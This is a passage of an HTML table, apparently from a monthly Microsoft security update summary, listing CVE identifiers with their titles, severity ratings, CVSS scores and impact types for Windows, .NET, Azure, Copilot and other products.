  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55010"><span>CVE-2026-55010</span></a></td>
  <td width="256" class="xl74">Minecraft Bedrock
  Dedicated Server Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50474"><span>CVE-2026-50474</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49164"><span>CVE-2026-49164</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54128"><span>CVE-2026-54128</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518"><span>CVE-2026-50518</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49796"><span>CVE-2026-49796</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50380"><span>CVE-2026-50380</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54127"><span>CVE-2026-54127</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50680"><span>CVE-2026-50680</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50327"><span>CVE-2026-50327</span></a></td>
  <td width="256" class="xl74">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58542"><span>CVE-2026-58542</span></a></td>
  <td width="256" class="xl74">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58608"><span>CVE-2026-58608</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54982"><span>CVE-2026-54982</span></a></td>
  <td width="256" class="xl74">Windows Reliable
  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54995"><span>CVE-2026-54995</span></a></td>
  <td width="256" class="xl74">Windows Reliable
  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42982"><span>CVE-2026-42982</span></a></td>
  <td width="256" class="xl74">Windows Secure Kernel
  Mode Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50392"><span>CVE-2026-50392</span></a></td>
  <td width="256" class="xl74">Windows Secure Kernel
  Mode Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50694"><span>CVE-2026-50694</span></a></td>
  <td width="256" class="xl74">Windows Secure Socket
  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188"><span>CVE-2026-56188</span></a></td>
  <td width="256" class="xl74">Windows Server Network
  driver Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50444"><span>CVE-2026-50444</span></a></td>
  <td width="256" class="xl74">Windows Server Update
  Service (WSUS) Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54999"><span>CVE-2026-54999</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47302"><span>CVE-2026-47302</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50525"><span>CVE-2026-50525</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50651"><span>CVE-2026-50651</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57108"><span>CVE-2026-57108</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50524"><span>CVE-2026-50524</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50527"><span>CVE-2026-50527</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50648"><span>CVE-2026-50648</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50650"><span>CVE-2026-50650</span></a></td>
  <td width="256" class="xl74">.NET Framework
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50646"><span>CVE-2026-50646</span></a></td>
  <td width="256" class="xl74">.NET Framework Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50649"><span>CVE-2026-50649</span></a></td>
  <td width="256" class="xl74">.NET Remote Code
  Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47304"><span>CVE-2026-47304</span></a></td>
  <td width="256" class="xl74">.NET Security Feature
  Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50528"><span>CVE-2026-50528</span></a></td>
  <td width="256" class="xl74">.NET Security Feature
  Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50659"><span>CVE-2026-50659</span></a></td>
  <td width="256" class="xl74">.NET Spoofing
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50526"><span>CVE-2026-50526</span></a></td>
  <td width="256" class="xl74">.NET Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50682"><span>CVE-2026-50682</span></a></td>
  <td width="256" class="xl74">Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55001"><span>CVE-2026-55001</span></a></td>
  <td width="256" class="xl74">Active Directory
  Domain Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50647"><span>CVE-2026-50647</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Server Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50684"><span>CVE-2026-50684</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56170"><span>CVE-2026-56170</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47300"><span>CVE-2026-47300</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47303"><span>CVE-2026-47303</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50652"><span>CVE-2026-50652</span></a></td>
  <td width="256" class="xl74">Azure Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50653"><span>CVE-2026-50653</span></a></td>
  <td width="256" class="xl74">Azure Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57969"><span>CVE-2026-57969</span></a></td>
  <td width="256" class="xl74">Azure CycleCloud
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58279"><span>CVE-2026-58279</span></a></td>
  <td width="256" class="xl74">Azure CycleCloud
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47632"><span>CVE-2026-47632</span></a></td>
  <td width="256" class="xl74">Azure Monitor Agent
  Metrics Extension Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50338"><span>CVE-2026-50338</span></a></td>
  <td width="256" class="xl74">Azure Spring Apps
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50488"><span>CVE-2026-50488</span></a></td>
  <td width="256" class="xl74">Clipboard User Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50491"><span>CVE-2026-50491</span></a></td>
  <td width="256" class="xl74">Code Integrity DLL
  (ci.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50381"><span>CVE-2026-50381</span></a></td>
  <td width="256" class="xl74">Composite Image File
  System driver (cimfs.sys) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50427"><span>CVE-2026-50427</span></a></td>
  <td width="256" class="xl74">Content Delivery
  Manager Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50692"><span>CVE-2026-50692</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58633"><span>CVE-2026-58633</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58634"><span>CVE-2026-58634</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50296"><span>CVE-2026-50296</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50375"><span>CVE-2026-50375</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50353"><span>CVE-2026-50353</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50493"><span>CVE-2026-50493</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56643"><span>CVE-2026-56643</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56644"><span>CVE-2026-56644</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58629"><span>CVE-2026-58629</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49174"><span>CVE-2026-49174</span></a></td>
  <td width="256" class="xl74">DNS Client Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50495"><span>CVE-2026-50495</span></a></td>
  <td width="256" class="xl74">DNS Client Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57088"><span>CVE-2026-57088</span></a></td>
  <td width="256" class="xl74">Extensible Storage
  Engine (ESENT) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50663"><span>CVE-2026-50663</span></a></td>
  <td width="256" class="xl74">Game: Age of Empires
  II: Definitive Edition Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47282"><span>CVE-2026-47282</span></a></td>
  <td width="256" class="xl74">GitHub Copilot and
  Visual Studio Code Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41109"><span>CVE-2026-41109</span></a></td>
  <td width="256" class="xl74">GitHub Copilot and
  Visual Studio Code Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50510"><span>CVE-2026-50510</span></a></td>
  <td width="256" class="xl74">GitHub Copilot Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49787"><span>CVE-2026-49787</span></a></td>
  <td width="256" class="xl74">HTTP.sys Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50420"><span>CVE-2026-50420</span></a></td>
  <td width="256" class="xl74">HTTP.sys Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49788"><span>CVE-2026-49788</span></a></td>
  <td width="256" class="xl74">HTTP/2 Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50696"><span>CVE-2026-50696</span></a></td>
  <td width="256" class="xl74">Internet Key Exchange
  (IKE) Protocol Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58617"><span>CVE-2026-58617</span></a></td>
  <td width="256" class="xl74">M365 Copilot for iOS
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58595"><span>CVE-2026-58595</span></a></td>
  <td width="256" class="xl74">Microsoft Bing App for
  IOS Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
